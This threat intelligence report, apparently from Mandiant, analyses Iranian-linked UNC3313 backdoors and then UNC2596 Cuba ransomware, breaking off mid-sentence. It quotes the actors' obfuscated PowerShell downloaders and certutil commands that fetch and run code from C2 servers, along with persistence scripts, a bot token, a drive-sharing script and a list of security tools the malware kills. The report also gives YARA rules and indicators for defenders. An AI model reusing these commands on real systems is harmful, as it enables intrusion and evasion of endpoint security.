(CRACKMAPEXEC) compiled with Pyinstaller to perform system enumeration and user account reconnaissance and to execute remote commands on target systems. The modified version of CRACKMAPEXEC used by the attacker, named aa.exe, had the tool s description removed and included the database setup code from the utility setup_database.py to bypass extra installation steps (Figure 6). Figure 6: Modified CRACKMAPEXEC with inclusion of setup_database.py code UNC3313 performed initial reconnaissance and account access testing with CRACKMAPEXEC using the commands shown in Figure 7 and Figure 8. The credential and host information collected by CRACKMAPEXEC were stored in the local database file cme.db. aa.exe 10.20.11.1/24 Figure 7: Initial execution of compiled CRACKMAPEXEC aa.exe 10.20.11.1/24 -u -p --local-auth Figure 8: Local Administrator access testing with CRACKMAPEXEC UNC3313 used CRACKMAPEXEC to run the Windows utility certutil and obfuscated PowerShell commands to download additional tools and payloads on remote systems. aa.exe 10.20.11.11 -u -p --local-auth -x "powershell -exec bypass "function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;};IEX (decode 'J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M S0xMjEtNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei M+I1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK i1RZmJnV2xGbWcrKio4' 3);" Figure 9: Execution of obfuscated PowerShell downloader The obfuscated PowerShell downloader used base64 encoding and simple XOR encryption that decoded to the general command syntax shown in Figure 10. 5/19 $w = [System.Net.HttpWebRequest]::Create('http[:]// 45.142.212[.]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX'); $w.proxy = [Net.WebRequest]::GetSystemWebProxy(); $ExecutionContext.InvokeCommand.InvokeScript((New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd()); Figure 10: Deobfuscated PowerShell command UNC3313 used the multi-platform LIGOLO tunneler utility to establish tunneled access into our customer environment. LIGOLO is an open-source, encrypted reverse SOCKS5 or TCP tunneler written in GO. The LIGOLO utility was executed with the command-line argument to specify the relay server instead of the documented argument -relayserver , which indicates modification of the original code downloaded from the GitHub repository. aa.exe 10.20.11.11 -u -p --local-auth -x "certutil.exe -urlcache -split -f http[:]//95.181.161[.]81:443/l.exe C:\programdata\l.exe" Figure 11: Remote execution of certutil to download LIGOLO tunneler via CRACKMAPEXEC c:\programdata\ligo64.exe -s3 95.181.161[.]81:5555 Figure 12: Execution of LIGOLO tunneler utility with relay server Mandiant observed the hostname DESKTOP-5EN5P2I in Windows logon events on systems that were accessed by UNC3313 through an RDP connection tunneled using LIGOLO. Log: Security EID: 4624 Network Information: Workstation Name: DESKTOP-5EN5P2I Source Network Address: Source Port: Log: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational EID: 1149 User: Domain: DESKTOP-5EN5P2I Source Network Address: 10.20.11.14 Figure 13: Windows logon events showing evidence of RDP session tunneling via LIGOLO Maintain Persistence 6/19 Mandiant identified a new malware family named STARWHALE that was used by UNC3313. STARWHALE is a Windows Script File backdoor that simply receives commands from a command and control (C2) server via HTTP and executes those commands via Windows cmd.exe. On the infected system, STARWHALE was observed being executed with a command-line argument as shown in Figure 14. cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale Figure 14: STARWHALE execution Figure 15: STARWHALE Code Snippet The command line argument "humpback__whale " is used in the code to dynamically resolve functions at runtime using the VBScript function GetRef. Since STARWHALE does not contain any persistence mechanism, a service is created as shown in Figure 16. sc create Windowscarpstss binpath= "cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale" start= "auto" obj= "LocalSystem" Figure 16: STARWHALE Persistence Method STARWHALE communicates with its C2 server, which is hardcoded in the malware. Upon first execution, the malware gathers basic user and system information, such as local IP address, computer name, and username. It then encodes this information using a custom encoding scheme before sending the information to the C2 IP address as shown in Figure 17. 7/19 POST /jznkmustntblvmdvgcwbvqb HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded; Charset=UTF-8 Accept: */* Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) CharSet: UTF-8 Content-Length: 69 Host: 5.199.133[.]149 vl=27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613 Figure 17: STARWHALE Beacon The hex value passed via the POST request parameter , as shown in Figure 17, can be decoded to the following system enumeration information, piped together and separated with a delimiter: |delimiter|\\ >> %temp%\stari.txt. Figure 18: STARWHALE command execution process The output of the command is written to a file called stari.txt. It then encodes the output using the custom scheme and sends it back to the C2 server in its next POST request. The structure is similar to what is shown in Figure 19. |!)!)!| Figure 19: STARWHALE information sent to C2 If the command fails, it sends the encoded string "SoRRy" to its C2. Notably, in earlier iterations of STARWHALE, Mandiant also observed it using the string "sory" [sic]. The threat actor corrected the spelling error after security researchers highlighted the string in a public forum. Mandiant has observed similar spelling errors in other campaigns by Iranian threat actors. During the intrusion, Mandiant also observed the actors deploying a malware that shares a lot of similarities with STARWHALE in design but written in Golang. Mandiant is calling this code family STARWHALE.GO. It is downloaded on the system using the certuil.exe utility as shown in Figure 20. 8/19 certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe Figure 20: STARWHALE.GO download STARWHALE.GO arrives as part of a Nullsoft Scriptable Install System (NSIS) installer, which installs it in a directory called OutlookM and creates a Run key in Windows registry to make it persistent on the system. Upon execution, it drops the Golang binary and executes it. InstType $(LSTR_37) ; Custom InstallDir $LOCALAPPDATA\OutlookM ; install_directory_auto_append = OutlookM ; wininit = $WINDIR\wininit.ini ; -------------------; SECTIONS: 1 ; COMMANDS: 6 Section ; Section_0 ; AddSize 4744 CreateDirectory $INSTDIR SetOutPath $INSTDIR File index.exe Exec $INSTDIR\index.exe WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookM $INSTDIR\index.exe SectionEnd Figure 21: NSIS Script Snippet for STARWHALE.GO The following registry key is created as a result of running the NSIS executable. KEY: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM Value: C:\Users\\AppData\Local\OutlookM\index.exe Figure 22: STARWHALE.GO Persistence Method STARWHALE.GO also uses a custom data encoding algorithm to protect its network communication and critical strings within the binary. It sends the same information as STARWHALE, but the data sent and received are a JSON object. A sample HTTP POST request is shown in Figure 23. 9/19 POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1 Host: 87.236.212[.]184 User-Agent: Go-http-client/1.1 Content-Length: 91 Content-Type: application/json Accept-Encoding: gzip {"vl":"2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333"} Figure 23: STARWHALE.GO HTTP C2 beacon STARWHALE.GO uses a different delimiter |&&%&&| than STARWHALE, but the rest of the enumerated information sent to the hardcoded C2 IP address is the same. Similarly, the malware reads the response from the POST request to the C2 server and attempts to decode it using the same custom string transformation routine it used to encode the data it sent. This routine is simpler than that used by STARWHALE, as explained later. The decoded result is either launched as a command line with the process "cmd.exe /c" or launched directly as a process if the string ends with .com, .exe, .bat, or .cmd. The output of the launched process, or error message in the case of a failure to decode the string, is sent to the C2 server via HTTP POST requests to its C2 server at hxxp://87.236.212[.]184/cepopggawztuxkxujfjbnpv. Mandiant identified a third UNC3313 backdoor during the investigation that was compiled with Python 3.9 and packaged via PyInstaller, which would only execute on Windows 8 and higher. Mandiant has named this backdoor GRAMDOOR due to its ability to use the Telegram Bot API for communication. It sends and receives messages from an actor-created Telegram chat room. GRAMDOOR arrives on the system packaged as an NSIS installer, which establishes a persistence mechanism by setting the Windows Run registry key, as shown in Figure 24. KEY: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift Value: C:\Users\\AppData\Roaming\OutlookMicrosift\index.exe" Platypus Figure 24: GRAMDOOR Persistence Method The NSIS installer for GRAMDOOR drops the PyInstaller packaged binary in the APPDATA directory in a subdirectory named OutlookMicrosift. It is executed using Exec command from the install directory, as shown in Figure 25. 10/19 InstType $(LSTR_37) ; Custom InstallDir $APPDATA\OutlookMicrosift ; install_directory_auto_append = OutlookMicrosift ; wininit = $WINDIR\wininit.ini ; -------------------; SECTIONS: 1 ; COMMANDS: 6 Section ; Section_0 ; AddSize 16859 CreateDirectory $INSTDIR SetOutPath $INSTDIR File index.exe Exec "$INSTDIR\index.exe Platypus" WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift "$\"$INSTDIR\index.exe$\" Platypus" SectionEnd Figure 25: NSIS Script Snippet for GRAMDOOR GRAMDOOR expects to be launched with one command-line parameter, which in this case was "Platypus." It uses this command-line parameter to piece together the function name, which is then called and acts as the entry point to the malware. GRAMDOOR implements only two commands: start and com. These commands are used to launch a cmd.exe process to which commands are piped. All network communication is via the Telegram server at api.telegram[.]org. This allows the actors to disguise their communication as regular Telegram traffic. This technique is not novel, and it is not the first time Iranian actors abused publicly available software to make their C2 traffic blend in. All HTTP requests from the malware to the Telegram server contained the token string 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY. The token strings are used to authenticate to the bot. Figure 26 shows a sample request. hxxps://api.telegram[.]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage? chat_id=&parse_mode=Markdown&text= Figure 26: GRAMDOOR Sample Request The malware uses the sendMessage API function to send information to a chat ID number. The actors interact with the host via the chat by issuing commands and then getting output of the executed commands sent back in the chat. For example, to retrieve network configuration information from the infected host, the attacker would issue the command com c607666261766066f9f23ec696 where the value c607666261766066f9f23ec696 is translated to ipconfig /all command. 11/19 STARWHALE and GRAMDOOR share similarities in logic for the custom encoding scheme used for the data and commands sent to and received from the C2. The following code snippet demonstrates STARWHALE traffic encoding and decoding and GRAMDOOR s commands passed back and forth between Telegram chat messages. def transform_chars(data): data = list(data) src = 0 dst = len(data) - 1 while src < dst: t = data[src] data[src] = data[dst] data[dst] = t src += 3 dst -= 2 return ''.join(data) def decode_traffic(data): return bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode('utf') def encode_traffic(data): return transform_chars(transform_chars(data.encode('utf').hex())[::-1]) Figure 27: Encoding/Decoding custom routine example code snippet GRAMDOOR also hides sensitive strings within its code using a custom XOR-based encryption scheme. The following sample code shows the logic of the aforementioned scheme. def xor_transform(data): key = '`qLd' + str(5) + 'Hm^yw/sG-qh&@~y|[dJmC' + str(6) + 'UFvNt-^^_FeSd' + str(4) + 'N*#GNophwQMCJ' + str(1) + '?>L73PY' return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(data, key))) def encode_str(data): return base64.b64encode(xor_transform(data).encode()) def decode_str(data): return xor_transform(base64.b64decode(data).decode()) Figure 28: Sample snippet showing XOR-based encryption scheme used in GRAMDOOR 12/19 Mandiant also observed UNC3313 store PowerShell downloader commands in Registry keys that were referenced by a Scheduled Task named Oracle scheduled assistant Autoupdate that is triggered on user logon. Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Pre Type: REG_SZ Value Name: Pre Text: IEX Figure 29: PowerShell command stored in Registry Value Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Post Type: REG_SZ Value Name: Post Text: function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt); for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}while($true){try{$o= [System.Net.HttpWebRequest]::Create('http[:]//87.236.212[.]6:80/esZ8389bp2LFqRLI'); $o.proxy = [Net.WebRequest]::GetSystemWebProxy();$ExecutionContext.InvokeCommand.InvokeScript((decode (New-Object System.IO.StreamReader($o.GetResponse().GetResponseStream())).ReadToEnd() 3));}catch{}Start-Sleep -Seconds 40;} Figure 30: PowerShell command stored in Registry Value Post Lastly, Mandiant observed UNC3313 download and execute a Windows Installer file for the eHorus remote access tool from the vendor website. UNC3313 executed the file ehorus_installer_windows-1.1.3-x64_enUS.msi, which created a service named EHORUSAGENT. The eHorus agent process ehorus_agent.exe communicates with domains hosted on ehorus[.]com. Log: System Source: Service Control Manager EID: 7045 Service Name: eHorus Agent Launcher Service File Name: &quot;C:\Program Files\ehorus_agent\ehorus_launcher.exe&quot; -s Figure 31: Service installation for eHorus agent eHorus is a legitimate remote access tool advertised commercially by Pandora FMS, which is based in Spain. eHorus has been recently reported by Symantec being abused by Iranian threat actors in a similar campaign against telecom organizations in Middle East and Asia. Mandiant Targeted Attack Lifecycle 13/19 Learn more about the Mandiant Targeted Attack Lifecycle. Figure 32: Mandiant Targeted Attack Lifecycle MITRE ATT&CK Techniques ATT&CK Tactic Category Techniques Resource Development Obtain Capabilities (T1588) Tool (T1588.002) Develop Capabilities (T1587) Malware (T1587.001) Initial Access Phishing (T1566) Phishing: Spearphishing Link (T1566.002) Execution Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Windows Command Shell (T1059.003) System Services (T1569) Service Execution (T1569.002) Windows Management Instrumentation (T1047) Boot or Logon Autostart Execution (T1547) Registry Run Keys / Startup Folder (T1547.001) User Execution (T1204) Malicious File (T1204.002) 14/19 Persistence Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Create or Modify System Process (T1543) Windows Service (T1543.003) Boot or Logon Autostart Execution (T1547) Registry Run Keys / Startup Folder (T1547.001) Privilege Escalation Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Defense Evasion Credential Access OS Credential Dumping (T1003) LSASS Memory (T1003.001) Security Account Manager (T1003.002) Brute Force Brute Force: Password Guessing (T1110.001) Discovery Remote System Discovery (T1018) System Owner/User Discovery (T1033) Network Service Scanning (T1046) Lateral Movement Remote Services (T1021) Remote Desktop Protocol (T1021.001) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Ingress Tool Transfer (T1105) Remote Access Software (T1219) Application Layer Protocol (T1071) Web Protocols (T1071.001) Protocol Tunneling (T1572) Web Service (T1102) Bidirectional Communication (T1102.002) 15/19 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. Name A102-562 Command and Control - GRAMDOOR, DNS Query, Variant #1 A102-563 Malicious File Transfer - GRAMDOOR, Download, Variant #1 A102-564 Malicious File Transfer - GRAMDOOR, Download, Variant #2 A102-565 Malicious File Transfer - STARWHALE, Download, Variant #1 A102-566 Malicious File Transfer - STARWHALE, Download, Variant #2 A102-567 Malicious File Transfer - STARWHALE, Download, Variant #3 A102-568 Malicious File Transfer - STARWHALE.GO, Download, Variant #1 A104-975 Protected Theater - GRAMDOOR, Execution, Variant #1 A104-976 Protected Theater - STARWHALE, Execution, Variant #1 A104-977 Host CLI - GRAMDOOR, Registry Persistence, Variant #1 A104-978 Host CLI - STARWHALE, Service Persistence, Variant #1 YARA Rules 16/19 rule M_Hunting_Backdoor_STARWHALE_1 meta: author = "Mandiant" description = "Detects strings for STARWHALE samples" md5 = " cb84c6b5816504c993c33360aeec4705" rev = 1 strings: $s1 = "JSCript" ascii nocase wide $s2 = "VBSCript" ascii nocase wide $s3 = "WScript.Shell" ascii nocase wide $s4 = "ok" ascii nocase wide $s5 = "no" ascii nocase wide $s6 = "stari.txt" ascii nocase wide $s7 = "SoRRy" ascii wide $s8 = "EMIP" ascii wide $s9 = "NIp" ascii wide $s10 = "401" ascii wide $s11 = "_!#" ascii wide $s12 = "/!&^^&!/" ascii wide $s13 = "|!)!)!|" ascii wide $s14 = "|#@*@#|" ascii wide $s15 = "/!*##*!/" ascii wide $s16 = "sory" ascii nocase wide condition: filesize > 5KB and filesize < 5MB and 10 of ($s*) 17/19 rule M_Hunting_Backdoor_STARWHALE_GO_1 { meta: author = "Mandiant" description = "Detects strings for STARWHALE.GO" strings: $main1 = "main.findExecutable" ascii $main2 = "main.showMatrixElements" ascii $delim = "|&&%&&|" ascii $matrix = "MATRIX1*MATRIX2" ascii $sample = "1522526f4260f4653664276774" ascii condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 15MB and 4 of them Indicators of Compromise Type Value Description 7c3564cd166822be4932986cb8158409 CrackMapExec 7fefce7f2e4088ce396fd146a7951871 LIGOLO 5763530f25ed0ec08fb26a30c04009f1 GRAMDOOR 15fa3b32539d7453a9a85958b77d4c95 GRAMDOOR cb84c6b5816504c993c33360aeec4705 STARWHALE c8ff058db87f443c0b85a286a5d4029e ScreenConnect 88.119.175[.]112 LIGOLO C&C 95.181.161[.]50 LIGOLO C&C 45.153.231[.]104 LIGOLO C&C 95.181.16[.]81 Malware/Tools Hosting 5.199.133[.]149 STARWHALE C&C 45.142.213[.]17 STARWHALE C&C 18/19 87.236.212[.]184 STARWHALE.GO C&C Acknowledgements Special thanks to Mike Hunoff, Nick Harbour, and Muhammad Umair for their assistance with reverse engineering the malware discussed in this blog post, and Adrien Bataille and Ervin James Ocampo for creating detections for malware families. Additionally, we would also like to thank Dan Andreiana, Alexander Pennino, Nick Richards, Jake Nicastro, Sarah Jones, and Geoff Ackerman for their help with technical review and providing valuable feedback. 19/19 (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware mandiant.com/resources/unc2596-cuba-ransomware In 2021, Mandiant observed some threat actors deploying ransomware increasingly shift to exploiting vulnerabilities as an initial infection vector. UNC2596, a threat actor that deploys COLDDRAW ransomware, publicly known as Cuba Ransomware, exemplifies this trend. While public reporting has highlighted CHANITOR campaigns as precursor for these ransomware incidents, Mandiant has also identified the exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely as early as August 2021. The content of this blog focuses on UNC2596 activity which has led to the deployment of COLDDRAW ransomware. UNC2596 is currently the only threat actor tracked by Mandiant that uses COLDDRAW ransomware, which may suggest it s exclusively used by the group. During intrusions, these threat actors have used webshells to load the TERMITE in-memory dropper with subsequent activity involving multiple backdoors and built-in Windows utilities. Beyond commonplace tools, like Cobalt Strike BEACON and NetSupport, UNC2596 has used novel malware, including BURNTCIGAR to disable endpoint protection, WEDGECUT to enumerate active hosts, and the BUGHATCH custom downloader. In incidents where COLDDRAW was deployed, UNC2596 used a multi-faceted extortion model where data is stolen and leaked on the group's shaming website, in addition to encryption using COLDDRAW ransomware. COLDDRAW operations have impacted dozens of organizations across more than ten countries, including those within critical infrastructure. Victimology The threat actors behind COLDDRAW ransomware attacks have not shied away from sensitive targets (Figure 1). Their victims include utilities providers, government agencies, and organizations that support non-profits and healthcare entities, however, we have not observed them attacking hospitals or entities that provide urgent care. Around 80% of impacted victim organizations are based in North America, but they have also impacted several countries in Europe as well as other regions (Figure 2). Figure 1: Alleged COLDDRAW victims by industry 1/12 Figure 2: Alleged COLDDRAW victims by country Shaming Website Since at least early 2021, COLDDRAW ransomware victims have been publicly extorted by the threat actors who threaten to publish or sell stolen data (Figure 3). Each shaming post includes information on the date the files were received. While the shaming site was not included in ransom notes until early 2021, one of the entries on the site states that the files were received in November 2019. This is consistent with earliest samples uploaded to public malware repositories and may represent the earliest use of the ransomware. Notably, while the data associated with most of the victims listed on this site are provided for free, there is a paid section which listed only a single victim at the time of publication. Figure 3: Cuba (aka COLDDRAW) Ransomware Shaming Tor site (2021-12-31) Attack Lifecycle UNC2596 incidents that have led to COLDDRAW ransomware deployment have involved a mix of public and private tools, some of which are believed to be private to them. The threat actors use several malware and utilities that are publicly available including NetSupport, Cobalt Strike BEACON, built-in Windows capabilities such as PsExec, RDP, and PowerShell, malware available for purchase such as WICKER, and exploits with publicly available proof-of-concept code. UNC2596 also uses several tools and scripts that we have not observed in use by other threat activity clusters to date, including BUGHATCH, BURNTCIGAR, WEDGECUT, and COLDDRAW. See the Notable Malware and Tools section for additional detail. Initial Reconnaissance / Initial Compromise Mandiant has observed UNC2596 frequently leverage vulnerabilities affecting public-facing Microsoft Exchange infrastructure as an initial compromise vector in recent COLDDRAW intrusions s where the initial vector was identified. The threat actors likely perform initial reconnaissance activities to identify Internet-facing systems that may be vulnerable to exploitation. 2/12 Establish Foothold In COLDDRAW ransomware incidents, where initial access was gained via Microsoft Exchange vulnerabilities, UNC2596 subsequently deployed webshells to establish a foothold in the victim network. Mandiant has also observed these actors deploy a variety of backdoors to establish a foothold, including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which have been deployed using the TERMITE in-memory dropper. Escalate Privileges COLDDRAW ransomware incidents have mainly involved the use of credentials from valid accounts to escalate privileges. In some cases, the source of these credentials is unknown, while in other cases, UNC2596 leveraged credential theft tools such as Mimikatz and WICKER. We have also observed these threat actors manipulating or creating Windows accounts and modifying file access permissions. In one intrusion, UNC2596 created a user account and added it to the administrator and RDP groups. Internal Reconnaissance UNC2596 has performed internal reconnaissance with the goals of identifying active network hosts that are candidates for encryption and identifying files to exfiltrate for use in their multi-faceted extortion scheme. The threat actors have used WEDGECUT, a reconnaissance tool typically with the filename check.exe. It identifies active hosts by sending PING requests to a list of hosts generated by a PowerShell script named comps2.ps1 which uses the Get-ADComputer cmdlet to enumerate the Active Directory. The threat actors have interactively browsed file systems to identify files of interest. Additionally, UNC2596 has routinely used a script named shar.bat to map all drives to network shares, which may assist in user file discovery (Figure 4). net share C=C:\ /grant:everyone,FULL net share D=D:\ /grant:everyone,FULL net share E=E:\ /grant:everyone,FULL net share F=F:\ /grant:everyone,FULL net share G=G:\ /grant:everyone,FULL net share H=H:\ /grant:everyone,FULL net share I=I:\ /grant:everyone,FULL net share J=J:\ /grant:everyone,FULL net share L=L:\ /grant:everyone,FULL net share K=K:\ /grant:everyone,FULL net share M=M:\ /grant:everyone,FULL net share X=X:\ /grant:everyone,FULL net share Y=Y:\ /grant:everyone,FULL net share W=W:\ /grant:everyone,FULL net share Z=Z:\ /grant:everyone,FULL net share V=V:\ /grant:everyone,FULL net share O=O:\ /grant:everyone,FULL net share P=P:\ /grant:everyone,FULL net share Q=Q:\ /grant:everyone,FULL net share R=R:\ /grant:everyone,FULL net share S=S:\ /grant:everyone,FULL net share T=T:\ /grant:everyone,FULL Figure 4: UNC2596 used a batch script to enable sharing of all drives to facilitate encryption and data harvesting Move Laterally/Maintain Presence 3/12 During COLDDRAW incidents, UNC2596 actors have used several methods for lateral movement including RDP, SMB, and PsExec, frequently using BEACON to facilitate this movement. Following lateral movement, the threat actors deploy various backdoors including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which are often deployed using the TERMITE in-memory dropper. These backdoors are sometimes executed using PowerShell launchers and have in some cases used predictable filenames. For example, NetSupportrelated scripts and executables observed during COLDDRAW incidents have typically used the filename ra or ra<#> whereas BUGHATCH scripts and executables have used the filename komar or komar<#>, followed by the appropriate extension. Complete Mission In order to complete their mission of multi-faceted extortion, the UNC2596 attempts to steal relevant user files and then identify and encrypt networked machines. To facilitate encryption, and possibly to assist with collection efforts, the threat actors have used a batch script named shar.bat which maps each drive to a network share (Figure 4). These newly created shares are then available for encryption by COLDDRAW. During a more recent intrusion involving COLDDRAW, UNC2596 deployed the BURNTCIGAR utility using a batch script named av.bat. BURNTCIGAR is a utility first observed in November 2021 which terminates processes associated with endpoint security software to allow their ransomware and other tools to execute uninhibited. UNC2596 has also been observed exfiltrating data prior to encrypting victim systems. To date, we have not observed UNC2596 using any cloud storage providers for data exfiltration; rather, they prefer to exfiltrate data to their BEACON infrastructure. The threat actors then threaten to publish data of organizations that do not pay a ransom on their shaming site (Figure 5). Good day. All your files are encrypted. For decryption contact us. Write here cloudkey[@]cock.li reserve admin[@]cuba-supp.com jabber cuba_support[@]exploit.im We also inform that your databases, ftp server and file server were downloaded by us to our servers. If we do not receive a message from you within three days, we regard this as a refusal to negotiate. Check our platform: [.]onion/ * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Do not stop process of encryption, because partial encryption cannot be decrypted. Figure 5: Sample COLDDRAW Ransom Note Notable Malware and Tools In addition to the use of publicly available malware and built-in utilities, Mandiant has observed UNC2596 use malware that is believed to be private to these threat actors, such as WEDGECUT, BUGHATCH, BURNTCIGAR, and COLDDRAW, or malware that is believed to be used by a limited number of threat actors, such as TERMITE. WEDGECUT WEDGECUT, which has been observed with the filename check.exe, is a reconnaissance tool that takes an argument containing a list of hosts or IP addresses and checks whether they are online using ICMP packets. This utility s functionality is implemented using the IcmpCreateFile, IcmpSendEcho, and IcmpCloseFile APIs to send a buffer containing the string Date Buffer . In practice, the list provided to WEDGECUT has been generated using a PowerShell script that enumerates the Active Directory using the Get-ADComputer cmdlet. BUGHATCH BUGHATCH is a downloader that executes arbitrary code on the compromised system downloaded from a C&C server. The code sent by the C&C server includes PE files and PowerShell scripts. BUGHATCH has been loaded in-memory by a dropper written in PowerShell or loaded by a PowerShell script from a remote URL. BURNTCIGAR BURNTCIGAR is a utility that terminates processes at the kernel level by exploiting an Avast driver s undocumented IOCTL code (Table 1). The malware terminates targeted processes using the function DeviceIoControl to exploit the undocumented 0x9988C094 IOCTL code of the Avast driver, which calls ZwTerminateProcess with the given process identifier. We have observed a batch script launcher that creates and starts a kernel service called aswSP_ArPot2 loading binary file C:\windows\temp\aswArPot.sys (legitimate Avast driver with SHA256 hash 4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1). To deploy BURNTCIGAR at a victim, the actor brings their own copy of the vulnerable Avast driver and installs it at a service. 4/12 Executable Processes Killed by BURNTCIGAR SentinelHelperService.exe iptray.exe dsa-connect.exe SentinelServiceHost.exe ccSvcHst.exe ResponseService.exe SentinelStaticEngineScanner.exe sepWscSvc64.exe avp.exe SentinelAgent.exe SEPAgent.exe avpsus.exe SentinelAgentWorker.exe ssDVAgent.exe klnagent.exe SentinelUI.exe smcgui.exe vapm.exe SAVAdminService.exe PAUI.exe VsTskMgr.exe SavService.exe ClientManager.exe mfemms.exe SEDService.exe SBPIMSvc.exe mfeann.exe Alsvc.exe SBAMSvc.exe macmnsvc.exe SophosCleanM64.exe VipreNis.exe masvc.exe SophosFS.exe SBAMTray.exe macompatsvc.exe SophosFileScanner.exe RepMgr.exe UpdaterUI.exe SophosHealth.exe RepUtils.exe mfemactl.exe McsAgent.exe scanhost.exe McTray.exe McsClient.exe RepUx.exe cpda.exe SophosSafestore64.exe PccNtMon.exe IDAFServerHostService.exe SophosSafestore.exe svcGenericHost.exe epab_svc.exe SSPService.exe pccntmon.exe epam_svc.exe swc_service.exe HostedAgent.exe cptrayLogic.exe swi_service.exe tmlisten.exe EPWD.exe SophosUI.exe logWriter.exe FSAgentService.exe SophosNtpService.exe ntrtscan.exe RemediationService.exe hmpalert.exe TmCCSF.exe TESvc.exe SophosLiveQueryService.exe TMCPMAdapter.exe cptrayUI.exe SophosOsquery.exe coreServiceShell.exe EFRService.exe 5/12 SophosFIMService.exe coreFrameworkHost.exe MBCloudEA.exe swi_fc.exe ds_monitor.exe MBAMService.exe SophosMTRExtension.exe CloudEndpointService.exe Endpoint Agent Tray.exe sdcservice.exe CETASvc.exe EAServiceMonitor.exe SophosCleanup.exe EndpointBasecamp.exe MsMpEng.exe Sophos UI.exe WSCommunicator.exe AvastSvc.exe SavApi.exe dsa.exe aswToolsSvc.exe sfc.exe Notifier.exe bcc.exe AvWrapper.exe WRSA.exe anet.exe bccavsvc.exe a.exe aus.exe AvastUI.exe Table 1: Processes Killed by BURNTCIGAR COLDDRAW COLDDRAW is the name Mandiant uses to track the ransomware observed in Cuba Ransomware operations. This ransomware appends the .cuba file extension to encrypted files. When executed, it terminates services associated with common server applications and encrypts files on the local filesystem and attached network drives using an embedded RSA key. Encrypted files are rewritten with a COLDDRAW-generated header prior to the encrypted file contents. For large files, only the beginning and end of the file will be encrypted. TERMITE TERMITE is a password-protected memory-only dropper which contains an encrypted shellcode payload. Observed payloads have included BEACON, METASPLOIT stager, or BUGHATCH. TERMITE requires the actor to specify the ClearMyTracksByProcess export and supply a password as a command line option to operate successfully (Figure 6). Mandiant suspects that TERMITE may be available to multiple groups and is not exclusively used by UNC2596. Rundll32.exe c:\windows\temp\komar.dll,ClearMyTracksByProcess 11985756 Figure 6: TERMITE command line execution Tracking TERMITE During UNC2596 intrusions involving COLDDRAW, the actors load tools and malware from web accessible systems that were also typically used for BEACON. Over a period of approximately six months, Mandiant Advanced Practices tracked a TERMITE loader at hxxp://45.32.229[.]66/new.dll which used the password 11985756 to decode various BEACON payloads. Ongoing analysis of TERMITE payloads collected during this timeframe showed that TERMITE underwent modifications to evade detections. UNC2596 also began using the TERMITE password 11985757 in October 2021. CHANITOR Overlaps Mandiant has not responded to any intrusions where we have directly observed CHANITOR malware lead to COLDDRAW ransomware; however, we have identified overlaps between CHANITOR-related operations and COLDDRAW incidents. These include infrastructure overlaps, common code signing certificates, use of a shared packer, and naming similarities for domains, files, and URL paths, among others. The code signing certificate with the Common Name FDFWJTORFQVNXQHFAH has been used to sign COLDDRAW payloads, as well as SENDSAFE payloads distributed by CHANITOR. Mandiant has not observed the certificate used by other threat actors. COLDDRAW payloads and SENDSAFE payloads distributed by CHANITOR have used a shared packer that we refer to as LONGFALL. LONGFALL, which is also known as CryptOne, has been used with a variety of malware families. 6/12 The WICKER stealer has been used in both CHANITOR-related post-exploitation activity and COLDDRAW incidents, 